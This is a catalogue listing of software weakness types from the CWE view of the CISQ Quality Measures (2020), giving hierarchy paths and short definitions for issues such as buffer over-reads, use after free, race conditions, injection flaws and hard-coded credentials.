Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Access of Memory Location After End of Buffer
- (788)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
788
(Access of Memory Location After End of Buffer)
The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Buffer Access with Incorrect Length Value
- (805)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
805
(Buffer Access with Incorrect Length Value)
The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Untrusted Pointer Dereference
- (822)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
822
(Untrusted Pointer Dereference)
The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Out-of-range Pointer Offset
- (823)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
823
(Use of Out-of-range Pointer Offset)
The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.
Untrusted pointer offset
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Access of Uninitialized Pointer
- (824)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
824
(Access of Uninitialized Pointer)
The product accesses or uses a pointer that has not been initialized.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Expired Pointer Dereference
- (825)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
825
(Expired Pointer Dereference)
The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.
Dangling pointer
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Improper Validation of Array Index
- (129)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
129
(Improper Validation of Array Index)
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
out-of-bounds array index
index-out-of-range
array index underflow
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Externally-Controlled Format String
- (134)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
134
(Use of Externally-Controlled Format String)
The product uses a function that accepts a format string as an argument, but the format string originates from an external source.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unchecked Return Value
- (252)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
252
(Unchecked Return Value)
The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Resource Shutdown or Release
- (404)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
404
(Improper Resource Shutdown or Release)
The product does not release or incorrectly releases a resource before it is made available for re-use.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Missing Release of Memory after Effective Lifetime
- (401)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
404
(Improper Resource Shutdown or Release) >
401
(Missing Release of Memory after Effective Lifetime)
The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.
Memory Leak
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Missing Release of Resource after Effective Lifetime
- (772)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
404
(Improper Resource Shutdown or Release) >
772
(Missing Release of Resource after Effective Lifetime)
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Missing Release of File Descriptor or Handle after Effective Lifetime
- (775)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
404
(Improper Resource Shutdown or Release) >
775
(Missing Release of File Descriptor or Handle after Effective Lifetime)
The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Protection of Alternate Path
- (424)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
424
(Improper Protection of Alternate Path)
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unrestricted Upload of File with Dangerous Type
- (434)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
434
(Unrestricted Upload of File with Dangerous Type)
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
Unrestricted File Upload
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Obsolete Function
- (477)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
477
(Use of Obsolete Function)
The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Incorrect Operator
- (480)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
480
(Use of Incorrect Operator)
The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Deserialization of Untrusted Data
- (502)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
502
(Deserialization of Untrusted Data)
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
Marshaling, Unmarshaling
Pickling, Unpickling
PHP Object Injection
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Expression is Always False
- (570)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
570
(Expression is Always False)
The product contains an expression that will always evaluate to false.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Expression is Always True
- (571)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
571
(Expression is Always True)
The product contains an expression that will always evaluate to true.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unchecked Input for Loop Condition
- (606)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
606
(Unchecked Input for Loop Condition)
The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Restriction of XML External Entity Reference
- (611)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
611
(Improper Restriction of XML External Entity Reference)
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
XXE
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Data within XPath Expressions ('XPath Injection')
- (643)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
643
(Improper Neutralization of Data within XPath Expressions ('XPath Injection'))
The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
- (652)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
652
(Improper Neutralization of Data within XQuery Expressions ('XQuery Injection'))
The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Synchronization
- (662)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization)
The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
- (1058)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
1058
(Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element)
The code contains a function or method that
operates in a multi-threaded environment but owns an unsafe non-final
static storable or member data element.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Singleton Class Instance Creation without Proper Locking or Synchronization
- (1096)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
1096
(Singleton Class Instance Creation without Proper Locking or Synchronization)
The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Race Condition within a Thread
- (366)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
366
(Race Condition within a Thread)
If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use of Singleton Pattern Without Synchronization in a Multithreaded Context
- (543)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
543
(Use of Singleton Pattern Without Synchronization in a Multithreaded Context)
The product uses the singleton pattern when creating a resource within a multithreaded environment.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unsynchronized Access to Shared Data in a Multithreaded Context
- (567)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
567
(Unsynchronized Access to Shared Data in a Multithreaded Context)
The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Locking
- (667)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
667
(Improper Locking)
The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Multiple Locks of a Critical Resource
- (764)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
764
(Multiple Locks of a Critical Resource)
The product locks a critical resource more times than intended, leading to an unexpected state in the system.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Missing Synchronization
- (820)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
820
(Missing Synchronization)
The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Incorrect Synchronization
- (821)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
821
(Incorrect Synchronization)
The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Deadlock
- (833)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
833
(Deadlock)
The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Initialization
- (665)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
665
(Improper Initialization)
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Missing Initialization of a Variable
- (456)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
665
(Improper Initialization) >
456
(Missing Initialization of a Variable)
The product does not initialize critical variables, which causes the execution environment to use unexpected values.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use of Uninitialized Variable
- (457)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
665
(Improper Initialization) >
457
(Use of Uninitialized Variable)
The code uses a variable that has not been initialized, leading to unpredictable or unintended results.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Operation on a Resource after Expiration or Release
- (672)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
672
(Operation on a Resource after Expiration or Release)
The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Double Free
- (415)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
672
(Operation on a Resource after Expiration or Release) >
415
(Double Free)
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.
Double-free
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use After Free
- (416)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
672
(Operation on a Resource after Expiration or Release) >
416
(Use After Free)
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
Dangling pointer
UAF
Use-After-Free
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Incorrect Conversion between Numeric Types
- (681)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types)
When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Unexpected Sign Extension
- (194)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types) >
194
(Unexpected Sign Extension)
The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Signed to Unsigned Conversion Error
- (195)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types) >
195
(Signed to Unsigned Conversion Error)
The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Unsigned to Signed Conversion Error
- (196)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types) >
196
(Unsigned to Signed Conversion Error)
The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Numeric Truncation Error
- (197)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types) >
197
(Numeric Truncation Error)
Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.
Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
Incorrect Calculation
- (682)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
682
(Incorrect Calculation)
The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Incorrect Calculation of Buffer Size
- (131)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
682
(Incorrect Calculation) >
131
(Incorrect Calculation of Buffer Size)
The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Divide By Zero
- (369)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
682
(Incorrect Calculation) >
369
(Divide By Zero)
The product divides a value by zero.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Incorrect Permission Assignment for Critical Resource
- (732)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
732
(Incorrect Permission Assignment for Critical Resource)
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Insufficient Logging
- (778)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
778
(Insufficient Logging)
When a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Operator Precedence Logic Error
- (783)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
783
(Operator Precedence Logic Error)
The product uses an expression in which operator precedence causes incorrect logic to be used.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Memory Allocation with Excessive Size Value
- (789)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
789
(Memory Allocation with Excessive Size Value)
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
Stack Exhaustion
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- (79)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
79
(Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
XSS
HTML Injection
CSS
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Hard-coded Credentials
- (798)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
798
(Use of Hard-coded Credentials)
The product contains hard-coded credentials, such as a password or cryptographic key.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use of Hard-coded Password
- (259)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
798
(Use of Hard-coded Credentials) >
259
(Use of Hard-coded Password)
The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Use of Hard-coded Cryptographic Key
- (321)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
798
(Use of Hard-coded Credentials) >
321
(Use of Hard-coded Cryptographic Key)
The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Loop with Unreachable Exit Condition ('Infinite Loop')
- (835)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
835
(Loop with Unreachable Exit Condition ('Infinite Loop'))
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
Category - a CWE entry that contains a set of other entries that share a common characteristic.
CISQ Quality Measures - Efficiency
- (1309)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency)
Weaknesses in this category are related to the CISQ Quality Measures for Efficiency. Presence of these weaknesses could reduce the efficiency of the software.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Resource Shutdown or Release
- (404)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
404
(Improper Resource Shutdown or Release)
The product does not release or incorrectly releases a resource before it is made available for re-use.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Missing Release of Memory after Effective Lifetime
- (401)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
404
(Improper Resource Shutdown or Release) >
401
(Missing Release of Memory after Effective Lifetime)
The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.
Memory Leak
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Missing Release of Resource after Effective Lifetime
- (772)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
404
(Improper Resource Shutdown or Release) >
772
(Missing Release of Resource after Effective Lifetime)
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Missing Release of File Descriptor or Handle after Effective Lifetime
- (775)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
404
(Improper Resource Shutdown or Release) >
775
(Missing Release of File Descriptor or Handle after Effective Lifetime)
The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Protection of Alternate Path
- (424)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
424
(Improper Protection of Alternate Path)
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Static Member Data Element outside of a Singleton Class Element
- (1042)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1042
(Static Member Data Element outside of a Singleton Class Element)
The code contains a member element that is declared as static (but not final), in which
its parent class element
is not a singleton class - that is, a class element that can be used only once in
the 'to' association of a Create action.
